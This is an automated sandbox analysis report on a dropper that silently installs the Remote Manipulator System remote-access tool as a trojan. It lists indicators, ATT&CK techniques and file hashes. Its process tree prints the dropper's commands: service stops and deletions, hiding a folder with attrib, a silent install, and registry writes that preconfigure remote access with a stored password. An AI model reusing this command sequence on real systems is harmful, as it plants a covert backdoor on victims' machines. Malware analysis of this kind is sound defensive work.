rms | 372b18086703b41341808ccbf0be39c92096c8b6da75d1d471b1ebe995f7ab85

Analysis

max time kernel
158s
max time network
179s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
29/10/2022, 14:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
372b18086703b41341808ccbf0be39c92096c8b6da75d1d471b1ebe995f7ab85.exe
Size 3.5MB
Sample221029-rdms8aaad6
SHA256 372b18086703b41341808ccbf0be39c92096c8b6da75d1d471b1ebe995f7ab85
MD5 24629ece9cd7382f51684c7eedef355d
SHA1 48431b63b6abf79d05bc729bfb61852e119c1714
SHA512 7794f7ca424e856fcc12e7a08bd93e444d591a09200010caf85d2bf1be097258e0a2aa47d1f3d2e831c2e23c989c6ee10ff9f4bce4f191648a7fe76037bed3ba
SSDEEP 49152:1bSO/Zb2GmSUMrVYrrNheDzuKGTsztBsapHQLTSjNQeb35pnoQcSlsKUF+ikZ:EuZK8f+vNOmT0psSpppUKUg9Z
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

rms evasion rat trojan upx

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

Executes dropped EXE 7 IoCs

pid	Process
3816	rutserv.exe
4888	rutserv.exe
1252	rutserv.exe
3512	rutserv.exe
5068	rfusclient.exe
3984	rfusclient.exe
3752	rfusclient.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1158

pid	Process
1720	attrib.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/504-132-0x0000000000400000-0x0000000000AA5000-memory.dmp	upx
behavioral2/memory/504-136-0x0000000000400000-0x0000000000AA5000-memory.dmp	upx

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	372b18086703b41341808ccbf0be39c92096c8b6da75d1d471b1ebe995f7ab85.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File created	C:\Windows\spom\rfusclient.exe	cmd.exe
File opened for modification	C:\Windows\spom\rutserv.exe	cmd.exe
File opened for modification	C:\Windows\spom\vp8decoder.dll	cmd.exe
File opened for modification	C:\Windows\spom	attrib.exe
File created	C:\Windows\spom\vp8decoder.dll	cmd.exe
File opened for modification	C:\Windows\spom\15971.bat	cmd.exe
File opened for modification	C:\Windows\spom\rfusclient.exe	cmd.exe
File created	C:\Windows\spom\vp8encoder.dll	cmd.exe
File opened for modification	C:\Windows\spom\vp8encoder.dll	cmd.exe
File created	C:\Windows\spom\webmmux.dll	cmd.exe
File opened for modification	C:\Windows\spom\webmmux.dll	cmd.exe
File opened for modification	C:\Windows\spom\webmvorbisdecoder.dll	cmd.exe
File opened for modification	C:\Windows\spom\webmvorbisencoder.dll	cmd.exe
File created	C:\Windows\spom\15971.bat	cmd.exe
File created	C:\Windows\spom\rutserv.exe	cmd.exe
File created	C:\Windows\spom\webmvorbisdecoder.dll	cmd.exe
File created	C:\Windows\spom\webmvorbisencoder.dll	cmd.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3348	sc.exe
3160	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3816	rutserv.exe
3816	rutserv.exe
3816	rutserv.exe
3816	rutserv.exe
3816	rutserv.exe
3816	rutserv.exe
4888	rutserv.exe
4888	rutserv.exe
1252	rutserv.exe
1252	rutserv.exe
3512	rutserv.exe
3512	rutserv.exe
3512	rutserv.exe
3512	rutserv.exe
3512	rutserv.exe
3512	rutserv.exe
3984	rfusclient.exe
3984	rfusclient.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
3752	rfusclient.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3816	rutserv.exe
Token: SeDebugPrivilege	1252	rutserv.exe
Token: SeTakeOwnershipPrivilege	3512	rutserv.exe
Token: SeTcbPrivilege	3512	rutserv.exe
Token: SeTcbPrivilege	3512	rutserv.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3816	rutserv.exe
4888	rutserv.exe
1252	rutserv.exe
3512	rutserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 504 wrote to memory of 3352	504	372b18086703b41341808ccbf0be39c92096c8b6da75d1d471b1ebe995f7ab85.exe	79
PID 504 wrote to memory of 3352	504	372b18086703b41341808ccbf0be39c92096c8b6da75d1d471b1ebe995f7ab85.exe	79
PID 504 wrote to memory of 3352	504	372b18086703b41341808ccbf0be39c92096c8b6da75d1d471b1ebe995f7ab85.exe	79
PID 3352 wrote to memory of 4628	3352	cmd.exe	82
PID 3352 wrote to memory of 4628	3352	cmd.exe	82
PID 3352 wrote to memory of 4628	3352	cmd.exe	82
PID 4628 wrote to memory of 4928	4628	net.exe	83
PID 4628 wrote to memory of 4928	4628	net.exe	83
PID 4628 wrote to memory of 4928	4628	net.exe	83
PID 3352 wrote to memory of 1156	3352	cmd.exe	84
PID 3352 wrote to memory of 1156	3352	cmd.exe	84
PID 3352 wrote to memory of 1156	3352	cmd.exe	84
PID 1156 wrote to memory of 1920	1156	net.exe	85
PID 1156 wrote to memory of 1920	1156	net.exe	85
PID 1156 wrote to memory of 1920	1156	net.exe	85
PID 3352 wrote to memory of 3160	3352	cmd.exe	86
PID 3352 wrote to memory of 3160	3352	cmd.exe	86
PID 3352 wrote to memory of 3160	3352	cmd.exe	86
PID 3352 wrote to memory of 3348	3352	cmd.exe	87
PID 3352 wrote to memory of 3348	3352	cmd.exe	87
PID 3352 wrote to memory of 3348	3352	cmd.exe	87
PID 3352 wrote to memory of 3480	3352	cmd.exe	88
PID 3352 wrote to memory of 3480	3352	cmd.exe	88
PID 3352 wrote to memory of 3480	3352	cmd.exe	88
PID 3352 wrote to memory of 1720	3352	cmd.exe	89
PID 3352 wrote to memory of 1720	3352	cmd.exe	89
PID 3352 wrote to memory of 1720	3352	cmd.exe	89
PID 3352 wrote to memory of 3816	3352	cmd.exe	90
PID 3352 wrote to memory of 3816	3352	cmd.exe	90
PID 3352 wrote to memory of 3816	3352	cmd.exe	90
PID 3352 wrote to memory of 4888	3352	cmd.exe	92
PID 3352 wrote to memory of 4888	3352	cmd.exe	92
PID 3352 wrote to memory of 4888	3352	cmd.exe	92
PID 3352 wrote to memory of 3720	3352	cmd.exe	94
PID 3352 wrote to memory of 3720	3352	cmd.exe	94
PID 3352 wrote to memory of 3720	3352	cmd.exe	94
PID 3352 wrote to memory of 5096	3352	cmd.exe	95
PID 3352 wrote to memory of 5096	3352	cmd.exe	95
PID 3352 wrote to memory of 5096	3352	cmd.exe	95
PID 3352 wrote to memory of 964	3352	cmd.exe	96
PID 3352 wrote to memory of 964	3352	cmd.exe	96
PID 3352 wrote to memory of 964	3352	cmd.exe	96
PID 3352 wrote to memory of 1232	3352	cmd.exe	97
PID 3352 wrote to memory of 1232	3352	cmd.exe	97
PID 3352 wrote to memory of 1232	3352	cmd.exe	97
PID 3352 wrote to memory of 1788	3352	cmd.exe	98
PID 3352 wrote to memory of 1788	3352	cmd.exe	98
PID 3352 wrote to memory of 1788	3352	cmd.exe	98
PID 3352 wrote to memory of 2276	3352	cmd.exe	99
PID 3352 wrote to memory of 2276	3352	cmd.exe	99
PID 3352 wrote to memory of 2276	3352	cmd.exe	99
PID 3352 wrote to memory of 1136	3352	cmd.exe	100
PID 3352 wrote to memory of 1136	3352	cmd.exe	100
PID 3352 wrote to memory of 1136	3352	cmd.exe	100
PID 3352 wrote to memory of 1252	3352	cmd.exe	101
PID 3352 wrote to memory of 1252	3352	cmd.exe	101
PID 3352 wrote to memory of 1252	3352	cmd.exe	101
PID 3512 wrote to memory of 3984	3512	rutserv.exe	103
PID 3512 wrote to memory of 3984	3512	rutserv.exe	103
PID 3512 wrote to memory of 3984	3512	rutserv.exe	103
PID 3512 wrote to memory of 5068	3512	rutserv.exe	104
PID 3512 wrote to memory of 5068	3512	rutserv.exe	104
PID 3512 wrote to memory of 5068	3512	rutserv.exe	104
PID 3984 wrote to memory of 3752	3984	rfusclient.exe	105

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1720	attrib.exe

C:\Users\Admin\AppData\Local\Temp\372b18086703b41341808ccbf0be39c92096c8b6da75d1d471b1ebe995f7ab85.exe
"C:\Users\Admin\AppData\Local\Temp\372b18086703b41341808ccbf0be39c92096c8b6da75d1d471b1ebe995f7ab85.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:504
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DC4B.tmp\15971.bat" "
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:3352
- - C:\Windows\SysWOW64\net.exe
    net stop netaservice
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4628
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop netaservice
      4⤵
      PID:4928
- - C:\Windows\SysWOW64\net.exe
    net stop rmanservice
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1156
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop rmanservice
      4⤵
      PID:1920
- - C:\Windows\SysWOW64\sc.exe
    sc delete netaservice
    3⤵
    - Launches sc.exe
    PID:3160
- - C:\Windows\SysWOW64\sc.exe
    sc delete rmanservice
    3⤵
    - Launches sc.exe
    PID:3348
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
    3⤵
    PID:3480
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\Windows\spom"
    3⤵
    - Sets file to hidden
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:1720
- - C:\Windows\spom\rutserv.exe
    "rutserv.exe" /silentinstall
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3816
- - C:\Windows\spom\rutserv.exe
    "rutserv.exe" /firewall
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:4888
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "notification" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0072006d0073005f0069006e00650074005f00690064005f006e006f00740069006600690063006100740069006f006e002000760065007200730069006f006e003d0022003500360030003000360022003e003c007500730065003e0074007200750065003c002f007500730065003e003c0065006d00610069006c003e0070006c007500740075007300310032003300340035004000790061002e00720075003c002f0065006d00610069006c003e003c00690064003e007b00360039004300410030003600430046002d0042004400450037002d0034003100320038002d0039003500410045002d003700310032003000420036003900410038004200450041007d003c002f00690064003e003c00670065006e00650072006100740065005f006e00650077005f00700061007300730077006f00720064003e0074007200750065003c002f00670065006e00650072006100740065005f006e00650077005f00700061007300730077006f00720064003e003c00610073006b005f006900640065006e00740069006600690063006100740069006f006e003e00660061006c00730065003c002f00610073006b005f006900640065006e00740069006600690063006100740069006f006e003e003c00730065006e0074003e00660061006c00730065003c002f00730065006e0074003e003c00760065007200730069006f006e003e00350036003000300036003c002f00760065007200730069006f006e003e003c007000750062006c00690063005f006b00650079005f006d003e003c002f007000750062006c00690063005f006b00650079005f006d003e003c007000750062006c00690063005f006b00650079005f0065003e003c002f007000750062006c00690063005f006b00650079005f0065003e003c00700061007300730077006f00720064003e003c002f00700061007300730077006f00720064003e003c0069006e007400650072006e00650074005f00690064003e003c002f0069006e007400650072006e00650074005f00690064003e003c0064006900730063006c00610069006d00650072003e003c002f0064006900730063006c00610069006d00650072003e003c002f0072006d0073005f0069006e00650074005f00690064005f006e006f00740069006600690063006100740069006f006e003e000d000a00
    3⤵
    PID:3720
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "UserAccess" /t REG_BINARY /d
    3⤵
    PID:5096
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "Password" /t REG_BINARY /d 38003900440043004100460043003500460042003900450044004200380041003800370030003400350033003600390033003300350037003700340030003800440031003700410036003500390036003400390033003800460033004100340035003400380036003200370030003100310037004600420036003300390041003700350043004300310039004400360046003400380030003000460030003700320037003900370036004200370030004300420041003800340037003700390034003900300034003600450033003400360034003600350030004300430045004100410045003800390046004100430030003500390037004600390032003400
    3⤵
    PID:964
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "InternetId" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d00310036004c00450022003f003e000d000a003c0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073002000760065007200730069006f006e003d0022003600300030003000340022003e003c0069006e007400650072006e00650074005f00690064003e003c002f0069006e007400650072006e00650074005f00690064003e003c007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e00660061006c00730065003c002f007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e003c0069006e00650074005f007300650072007600650072003e003c002f0069006e00650074005f007300650072007600650072003e003c007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e00660061006c00730065003c002f007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e003c0069006e00650074005f00690064005f0070006f00720074003e0035003600350035003c002f0069006e00650074005f00690064005f0070006f00720074003e003c007500730065005f0069006e00650074005f00690064005f0069007000760036003e00660061006c00730065003c002f007500730065005f0069006e00650074005f00690064005f0069007000760036003e003c002f0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073003e000d000a00
    3⤵
    PID:1232
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "Options" /t REG_BINARY /d 545046301154524f4d5365727665724f7074696f6e7300095573654e5441757468080d53656375726974794c6576656c020304506f727403121614456e61626c654f7665726c617943617074757265080c53686f775472617949636f6e080642696e644950060d416e7920696e746572666163651343616c6c6261636b4175746f436f6e6e656374091743616c6c6261636b436f6e6e656374496e74657276616c023c084869646553746f70080c497046696c746572547970650202105573654c656761637943617074757265081750726f7465637443616c6c6261636b53657474696e6773081550726f74656374496e6574496453657474696e6773080f446f4e6f7443617074757265524450080755736549507636091141736b557365725065726d697373696f6e0816557365725065726d697373696f6e496e74657276616c031027134175746f416c6c6f775065726d697373696f6e08134e656564417574686f72697479536572766572081f41736b5065726d697373696f6e4f6e6c794966557365724c6f676765644f6e0811557365496e6574436f6e6e656374696f6e0813557365437573746f6d496e6574536572766572080a496e65744964506f727402000d557365496e6574496449507636081444697361626c6552656d6f7465436f6e74726f6c081344697361626c6552656d6f746553637265656e081344697361626c6546696c655472616e73666572080f44697361626c655265646972656374080d44697361626c6554656c6e6574081444697361626c6552656d6f746545786563757465081244697361626c655461736b4d616e61676572080e44697361626c654f7665726c6179080f44697361626c6553687574646f776e081444697361626c6552656d6f746555706772616465081544697361626c655072657669657743617074757265081444697361626c654465766963654d616e61676572080b44697361626c6543686174081344697361626c6553637265656e5265636f7264081044697361626c65415643617074757265081244697361626c6553656e644d657373616765080f44697361626c655265676973747279080d44697361626c65415643686174081544697361626c6552656d6f746553657474696e6773081544697361626c6552656d6f74655072696e74696e67080a44697361626c65526470080f4e6f7469667953686f7750616e656c08144e6f746966794368616e67655472617949636f6e08104e6f7469667942616c6c6f6e48696e74080f4e6f74696679506c6179536f756e64080c4e6f7469667950616e656c5802ff0c4e6f7469667950616e656c5902ff064c6f6755736508055369644964061034323030392e37343435313730303233084c6963656e73657306ae524d532d462d62366665664645334436363231346539363944333744396163653235423032366269593253326459586c52664477776e4932314758554a4544683945586d78785030594756304a5856513066506a6c74446c46564467594841514271664738645556554f446c5246446d42346667494e4841494341514a76594878704141734c4141734d486c516d63323952566b554f41677765557a773562513458576c564c623168654e434a740d50726f787953657474696e67731428010000efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d31364c45223f3e0d0a3c70726f78795f73657474696e67732076657273696f6e3d223630303034223e3c7573655f70726f78793e66616c73653c2f7573655f70726f78793e3c70726f78795f747970653e303c2f70726f78795f747970653e3c686f73743e3c2f686f73743e3c706f72743e383038303c2f706f72743e3c6e6565645f617574683e66616c73653c2f6e6565645f617574683e3c6e746d6c5f617574683e66616c73653c2f6e746d6c5f617574683e3c757365726e616d653e3c2f757365726e616d653e3c70617373776f72643e3c2f70617373776f72643e3c646f6d61696e3e3c2f646f6d61696e3e3c2f70726f78795f73657474696e67733e0d0a1144697361626c65496e7465726e65744964080b536166654d6f6465536574080000
    3⤵
    PID:1788
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "FUSClientPath" /t REG_SZ /d "C:\Program Files\Remote Manipulator System - Host\rfusclient.exe"
    3⤵
    PID:2276
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "CalendarRecordSettings" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e002000760065007200730069006f006e003d0022003600300030003000340022003e003c006d00610069006e005f006f007000740069006f006e0073003e003c006100630074006900760065003e00660061006c00730065003c002f006100630074006900760065003e003c0069006e00740065007200760061006c005f00730068006f0074003e00360030003c002f0069006e00740065007200760061006c005f00730068006f0074003e003c00700072006f0074006500630074005f007200650063006f00720064003e00660061006c00730065003c002f00700072006f0074006500630074005f007200650063006f00720064003e003c0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e00390030003c002f0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e003c007300630061006c0065005f007100750061006c006900740079003e003100300030003c002f007300630061006c0065005f007100750061006c006900740079003e003c0063006f006d007000720065007300730069006f006e005f0074007900700065003e0030003c002f0063006f006d007000720065007300730069006f006e005f0074007900700065003e003c006d00610078005f00660069006c0065005f00730069007a0065003e003100300030003c002f006d00610078005f00660069006c0065005f00730069007a0065003e003c006100750074006f005f0063006c006500610072003e00660061006c00730065003c002f006100750074006f005f0063006c006500610072003e003c006100750074006f005f0063006c006500610072005f0064006100790073003e0030003c002f006100750074006f005f0063006c006500610072005f0064006100790073003e003c0075007300650064005f00660069006c0065005f006c0069006d00690074003e0074007200750065003c002f0075007300650064005f00660069006c0065005f006c0069006d00690074003e003c0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e0031003000300030003c002f0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e003c0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e0074007200750065003c002f0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e003c002f006d00610069006e005f006f007000740069006f006e0073003e003c007300630068006500640075006c00650073002f003e003c002f0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e003e000d000a00
    3⤵
    PID:1136
- - C:\Windows\spom\rutserv.exe
    "rutserv.exe" /start
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1252

C:\Windows\spom\rutserv.exe
C:\Windows\spom\rutserv.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3512
- C:\Windows\spom\rfusclient.exe
  C:\Windows\spom\rfusclient.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3984
- - C:\Windows\spom\rfusclient.exe
    C:\Windows\spom\rfusclient.exe /tray
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: SetClipboardViewer
    PID:3752
- C:\Windows\spom\rfusclient.exe
  C:\Windows\spom\rfusclient.exe /tray
  2⤵
  - Executes dropped EXE
  PID:5068

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

15971.bat

Path C:\Users\Admin\AppData\Local\Temp\DC4B.tmp\15971.bat
Size 10KB
SHA256 cb90f99378b2ceffbf359d1762c246cffe4b2731b218d22854125eb387d3cfd9
MD5 3aa2d2d6003b6e054840f39c2b4b6eea
SHA1 29acb0d579b6914df1599c10c9222ec101f63375
SHA512 96908ee5cff277e0a58d7b0b8648e661c81cf43df5dd2d7452c54efed29a42a2a5dc8a33084c4fb0343d169d7da8c88d1817b69d9c43bbd933348ae6716169ad
SSDEEP 96:JCPO7k+NE8VcWRRlVN5k4M9DKjbCrhbmu4E:cPckDCnRM9DoYF
MD5 SHA1 SHA512 SSDEEP

Submit Download

rfusclient.exe

Path C:\Users\Admin\AppData\Local\Temp\DC4B.tmp\rfusclient.exe
Size 1.3MB
SHA256 9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67
MD5 314f4d76a82e024a1c0facb46f0dbc0a
SHA1 c8437c555755302a47229cdc18b58d0ee961d00f
SHA512 b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9
SSDEEP 24576:eMB5KgYG7jQnqPc/zhVf4Z3X/OhSXWrez/wMzJ4d8kpZQpJqCT:xBx7BUNVUqZa7t4P22
MD5 SHA1 SHA512 SSDEEP

Submit Download

rutserv.exe

Path C:\Users\Admin\AppData\Local\Temp\DC4B.tmp\rutserv.exe
Size 1.4MB
SHA256 76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2
MD5 a329f920e01574d2c58eb0626abef7bd
SHA1 2500ca31396264cf0a9492d879e493a9438404b9
SHA512 dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32
SSDEEP 24576:gjXv+58TvnqMX5XlKruFRBBDzc3cWoWMsfbnSluMdraUun4e5uFx+R:gj/OgnDp4uFRHDtsfbnSluMdraNuy
MD5 SHA1 SHA512 SSDEEP

Submit Download

vp8decoder.dll

Path C:\Users\Admin\AppData\Local\Temp\DC4B.tmp\vp8decoder.dll
Size 127KB
SHA256 30dc5a63a43a00fb3bcacb696656dc302b9c090cf9c05df0f10123703ca07290
MD5 bda3c03c3e5d65922a311009e0ae8cd6
SHA1 37093c457ac5f01649b4d23a3d075a531af08baa
SHA512 eab8356896f05952e1bdfca467e998b23e5a9a5e5245f13d201f9b87b7a450be628c3513a8a4c40fa50ffaa8491c4508f1215c57ac608dd3e5e67290a5bedc0b
SSDEEP 3072:8TngxKMzx/CgunlYFSBZg3mQ5SvQgJJd4ZsahHIq:80bx/T6YFWZxvQGJuZs2
MD5 SHA1 SHA512 SSDEEP

Submit Download

vp8encoder.dll

Path C:\Users\Admin\AppData\Local\Temp\DC4B.tmp\vp8encoder.dll
Size 238KB
SHA256 c8529cff46283d4f7050c9f4ba42a6aad6ff580a22fc8f72bbedb17e63d4091e
MD5 200cba4b9cbdd64f1a281b89cd1467f3
SHA1 fc3ccf8d57efcdc0d22b61ff6e49798d551a9118
SHA512 15a213790da6ddedc25369216ae725dccd16473599a8d5fd8b90f80aaa4fd20496f80e85a4ee5eae6a330930207cefc644ab704f7a6514bbf781151a38be38e3
SSDEEP 6144:7VwSf2obRZgpHapklAOsfgdtpOpxCvIXgOLc2P:73f2obRZiHaBVUtUpQrOzP
MD5 SHA1 SHA512 SSDEEP

Submit Download

webmmux.dll

Path C:\Users\Admin\AppData\Local\Temp\DC4B.tmp\webmmux.dll
Size 90KB
SHA256 41e551ecb07620b4cace94a89bbcff6597df85a571ace50a7df929c9a94f1d11
MD5 aa78ed008f72533c7136bf6d4bddb0d0
SHA1 2e9abd74e615adc99f561cbdbe6067dfd81a406a
SHA512 e9f49bc94909c46ae6dad9368e13cc758ff801c39ea8a459483bd17a8a40664b68c91d8602da588a84a39de9256e0accafb23a7667fb57640a55280ee61f4021
SSDEEP 1536:vpTgljYorW76tnobrWueh5to7zoII8u66y2waAA/qmNLeWNU7WPos:xkHwUoPWueho7z1gy2waj/qmNLpU7mD
MD5 SHA1 SHA512 SSDEEP

Submit Download

webmvorbisdecoder.dll

Path C:\Users\Admin\AppData\Local\Temp\DC4B.tmp\webmvorbisdecoder.dll
Size 141KB
SHA256 cbc192c03b91280eb4561386290e3b346147d5b1362224d1deff781ff89be207
MD5 0867a260483876336a727cf9f2928b13
SHA1 3c8c59bfba6ed2aeef35c0d1fc4689683df1e660
SHA512 b1d2518adb513c42ed877f1ee77d227d6d3600fc27b4d747f31b75cbfb85c53802cbf9b1fe0e1d09353ea4c29b6a49d5e7b7967b3fd8d15974d822649ca7a83f
SSDEEP 3072:tJD+EFJ01ymc4zcKF+xcT1Zly7VaZE/dj7Krf56Id+5rraG4tBS:bDs1ymyxx6ZkVaZEdwMIw5rr4+
MD5 SHA1 SHA512 SSDEEP

Submit Download

webmvorbisencoder.dll

Path C:\Users\Admin\AppData\Local\Temp\DC4B.tmp\webmvorbisencoder.dll
Size 202KB
SHA256 0e33c9f15b53de632108ef6f7275cd4d980df86a408f330c57f717b7d5fa3918
MD5 43adc4acd56c56b0a25664954c7aa80c
SHA1 d9085625b4a39b3969db8047ad3224b3fc9f60fc
SHA512 346dd9da1fe6be5219cb10cbe54c60a1661c5c06a21f3cf864a3f32121a90d29ea1bbcef33d2766811f3ef3242456c2c9606326c26d8b660fa26ff4ae8b24515
SSDEEP 6144:2wsUyCEe7VgUk3HZ9yqbhdydK79bIWm5P:2XCVgU2yZdkE5P
MD5 SHA1 SHA512 SSDEEP

Submit Download

rfusclient.exe

Path C:\Windows\spom\rfusclient.exe
Size 1.3MB
SHA256 9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67
MD5 314f4d76a82e024a1c0facb46f0dbc0a
SHA1 c8437c555755302a47229cdc18b58d0ee961d00f
SHA512 b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9
SSDEEP 24576:eMB5KgYG7jQnqPc/zhVf4Z3X/OhSXWrez/wMzJ4d8kpZQpJqCT:xBx7BUNVUqZa7t4P22
MD5 SHA1 SHA512 SSDEEP

Submit Download

rfusclient.exe

Path C:\Windows\spom\rfusclient.exe
Size 1.3MB
SHA256 9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67
MD5 314f4d76a82e024a1c0facb46f0dbc0a
SHA1 c8437c555755302a47229cdc18b58d0ee961d00f
SHA512 b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9
SSDEEP 24576:eMB5KgYG7jQnqPc/zhVf4Z3X/OhSXWrez/wMzJ4d8kpZQpJqCT:xBx7BUNVUqZa7t4P22
MD5 SHA1 SHA512 SSDEEP

Submit Download

rfusclient.exe

Path C:\Windows\spom\rfusclient.exe
Size 1.3MB
SHA256 9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67
MD5 314f4d76a82e024a1c0facb46f0dbc0a
SHA1 c8437c555755302a47229cdc18b58d0ee961d00f
SHA512 b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9
SSDEEP 24576:eMB5KgYG7jQnqPc/zhVf4Z3X/OhSXWrez/wMzJ4d8kpZQpJqCT:xBx7BUNVUqZa7t4P22
MD5 SHA1 SHA512 SSDEEP

Submit Download

rfusclient.exe

Path C:\Windows\spom\rfusclient.exe
Size 1.3MB
SHA256 9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67
MD5 314f4d76a82e024a1c0facb46f0dbc0a
SHA1 c8437c555755302a47229cdc18b58d0ee961d00f
